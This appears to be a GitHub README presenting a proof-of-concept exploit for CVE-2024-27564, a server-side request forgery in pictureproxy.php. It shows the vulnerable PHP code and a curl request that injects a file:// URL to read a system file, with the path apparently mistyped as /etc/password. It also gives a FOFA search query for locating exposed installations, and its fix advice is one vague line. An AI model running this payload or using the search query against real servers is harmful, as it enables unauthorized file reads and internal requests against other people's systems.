chsxthwik/cve-2024-27564Proof-of-concept exploit for CVE-2024-27564, a server-side request forgery (SSRF) vulnerability in pictureproxy.php allowing unauthenticated remote attackers to inject arbitrary URLs via the url parameter.
A vulnerability in pictureproxy.php allows remote attackers to perform arbitrary requests by injecting URLs into the url parameter. This SSRF vulnerability can be exploited without authentication, making it particularly dangerous.
The vulnerable code is in the pictureproxy.php file. The issue occurs because the function does not properly validate the url parameter. The $_GET['url'] variable is passed to the file_get_contents() function, which fetches content from the specified URL. This can lead to SSRF.
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
Curl Request:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
Proper Management of Input validation is needed.